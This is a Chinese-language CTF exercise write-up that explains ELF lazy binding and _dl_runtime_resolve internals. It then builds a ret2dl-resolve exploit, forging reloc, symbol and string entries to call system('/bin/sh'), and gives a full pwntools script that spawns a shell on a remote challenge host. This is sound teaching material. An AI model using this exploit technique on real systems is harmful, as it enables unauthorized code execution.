一道课堂练习,新知识
1 程序分析
首先,查看程序保护机制,如下所示,启用了栈不可执行机制,所以不可以直接注入shellcode,考虑构造ROP绕过。
1 2 3 4 5 6 7 8
| pwn checksec stack
[*] '/home/kali/code/stack/stack' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
|
将程序放入IDA中反汇编,可以看到buf数组分配了0x28字节空间,而read函数最多可以读入0x40字节的数据,存在明显的栈溢出,但可以读入的数据有限。除此以外,没有其他明显的可以利用的函数。
1 2 3 4 5 6 7 8 9 10 11 12
| int __cdecl main() { alarm(0xAu); sub_804843B(); return 0; } ssize_t sub_804843B() { char buf[40]; return read(0, buf, 0x40u); }
|
2 还原read函数调用
程序在调用外部共享库中的函数read时,需要对这个函数的运行时地址进行重定位再执行。在Linux程序运行中,采用延迟绑定技术(Lazy Binding)进行定位,即将函数的重定位过程推迟到第一次调用函数的时候。
如图所示为延迟绑定流程示意图,程序调用read函数时,在plt表中执行了一个判断解析小函数。首先跳转到got表查看有没有写入真实地址,如果写入了真实值就跳转并调用,如果没有写入,则执行解析,即跳转到plt的下一条命令。解析流程:
- 将对应函数的ID压入栈中,这个ID在32位中压入值为offset,在64位中压入index。其中ID对应动态链接器第二个参数。
- 紧接着跳转到PLT[0],即动态链接器。
- PLT[0]中先通过GOT[1]将动态链接器第一个参数压入栈中,然后通过GOT[2]模块入口跳转到动态链接器,即jmp到_dl_runtime_resolve函数。

plt表,其中read_plt地址为0x8048300,read_got地址为0x804a00c,alarm_got地址为0x804a010,plt段起始地址为0x80482f0。
1 2 3 4 5 6 7 8 9 10 11 12
| (gdb) x/10i 0x80482f0 0x80482f0: push 0x804a004 0x80482f6: jmp *0x804a008 0x80482fc: add %al,(%eax) 0x80482fe: add %al,(%eax) 0x8048300 <read@plt>: jmp *0x804a00c 0x8048306 <read@plt+6>: push $0x0 0x804830b <read@plt+11>: jmp 0x80482f0 0x8048310 <alarm@plt>: jmp *0x804a010 0x8048316 <alarm@plt+6>: push $0x8 0x804831b <alarm@plt+11>: jmp 0x80482f0
|
如图所示,查看系统函数的重定位表,可以看到第一次push的参数即为函数相对于.rel.plt表中的偏移,read为0x0,alarm为0x8。该参数传给dl_resolve函数的reloc_arg,标识要解析的函数。

关于link_map参数,用于定位共享库信息的结构指针,在链接时已经写入。
3 _dl_runtime_resolve
执行_dl_runtime_resolve(link_map, reloc_arg)进行函数解析,执行过程涉及到dynamic段的三种表:symtab、strtab、reloc
1 2 3 4 5 6 7 8 9 10
| symbol table typedef struct { Elf32_Word st_name; Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; … }Elf32_Sym;
|
1 2 3 4 5 6 7 8 9 10
| relocation table typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel;
|
_dl_runtime_resolve压入两个参数后即调用_dl_fixup。
_dl_fixup(link_map ,reloc_arg)执行流程:
- 提取symtab和strtab(两张大表,后通过reloc定位条目)
- 通过参数reloc_arg计算入口地址, DT_JMPREL + reloc_offset 即.rel.plt + reloc_arg
- 通过reloc -> r_info找到symbol table中对应的条目
- 通过reloc -> r_offset + l_addr(一般是0) = rel_addr(准备写的地址)
- 检查r_info的类型,即检查reloc -> r_info的最低位是否==0x7
- 通过strtab + sym->st_name找到符号字符串,求libc基地址result = _dl_lookup_symbol_x( strtab + sym -> st_name(函数名),…)
- value = 目标函数与libc基地址的偏移地址,真实地址 = 基地址 + st_value
- 写入got表
下面尝试还原read()定位过程,如重定位表中所示,rel_addr=r_offset+0=0x0804a00c,r_info=0x107,即r_index=0x10,r_type=0x7。

如symbol表中所示,symbol_table_addr=0x080481CC,string_table_addr=0x0804822C,所以symbol_table_addr+r_index=0x080481CC+0x10=0x080481DC,指向symbol table中的read条目,string_table_addr+st_name找到‘read‘,即函数名称。


综上,我们希望将string table中的传入的func_name由read改为system,即可实现攻击。如图所示,为了实现该目的,需要制造假的reloc、symtab、strtab三个结构体,以索引到假的调用条目。

4 payload构造
第一步,由于栈溢出的空间比较小,构造ROP将栈劫持到bss段。
1 2 3 4 5 6
| payload1 = b'A' * 0x28 //填充 payload1 += p32(bss_rbp) //修改rbp payload1 += p32(read_plt) + p32(leave_ret) //返回地址 payload1 += p32(0) + p32(bss_rbp) + p32(0x200) //read参数
p.send(payload1)
|
第二步,构造假的调用条目,payload2期望构造的栈结构如下所示。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| plt[0] ------------------------------------------------------------------- fake offset //已经被push进去的offset ------------------------------------------------------------------- ret_addr ------------------------------------------------------------------- arg ------------------------------------------------------------------- fake rel ... //r_sym = (fake_sym_addr-dynsym_addr)/sizeof(ELF_sym_struct) //r_type = 0x7 = JMP_SLOT //r_info = (((sym) << 8) + ((type) & 0xff)) 32bit info计算 //可以直接r_info = (r_sym << 8) | 0x7 ------------------------------------------------------------------- fake sym ... //st_name = fake_str_addr-dynstr_addr //st_bind = 1 global //st_type = 2 func //st_info = 0x12 ------------------------------------------------------------------- fake str function name --> "system\x00"
|
5 获得flag
完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| exp_suc.py
from pwn import * file_name = './stack' method = 'remote' solution = 1 gdb_commands = """ break *0x0804843b continue """ if method == 'remote': p = remote('124.16.75.116',52003) if method == 'local': p = process(file_name) if method == 'debug': context.log_level = 'debug' p = gdb.debug(file_name, gdb_commands) p.info(f"method: {method:^10}\nsolution: {solution:^10}") elf = ELF(file_name) read_plt = elf.plt['read'] read_got = elf.got['read'] alarm_got = elf.got['alarm'] bss_addr = 0x0804a020 vul_addr = 0x0804843b plt_0 = 0x080482f0 rel_plt = 0x080482b0 dynsym_addr = 0x080481cc dynstr_addr = 0x0804822c leave_ret = 0x08048455 bss_rbp = bss_addr + 0x800 fake_rel_addr = bss_rbp + 0x20 fake_sym_addr0 = fake_rel_addr + 0x2c align = ((fake_sym_addr0 - dynsym_addr) & 0xf) fake_sym_addr = fake_sym_addr0 + align system_addr = fake_sym_addr + 0x20 bin_sh_addr = system_addr + 0x7 fake_rel_offset = fake_rel_addr - rel_plt rop = (p32(0) + p32(plt_0) + p32(fake_rel_offset) + p32(0) + p32(bin_sh_addr)).ljust(0x20, b'\x00') fake_sym_index = (fake_sym_addr - dynsym_addr) // 0x10 r_info = (fake_sym_index << 8) | 0x7 fake_rel_plt = (p32(alarm_got) + p32(r_info)).ljust(0x2c, b'\x00') st_name = system_addr - dynstr_addr fake_sym = (p32(st_name) + p32(0) + p32(0) + p32(0x12)).ljust(0x20,b'\x00') strings = b"system\x00/bin/sh\x00\x00" payload1 = (b'A' * 0x28 + p32(bss_rbp) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss_rbp) + p32(0x200)).ljust(0x40, b'\x00') p.send(payload1) payload2 = rop + fake_rel_plt + fake_sym + strings p.send(payload2) p.interactive()
|
如图所示,执行exp代码获得shell,进而获得flag。
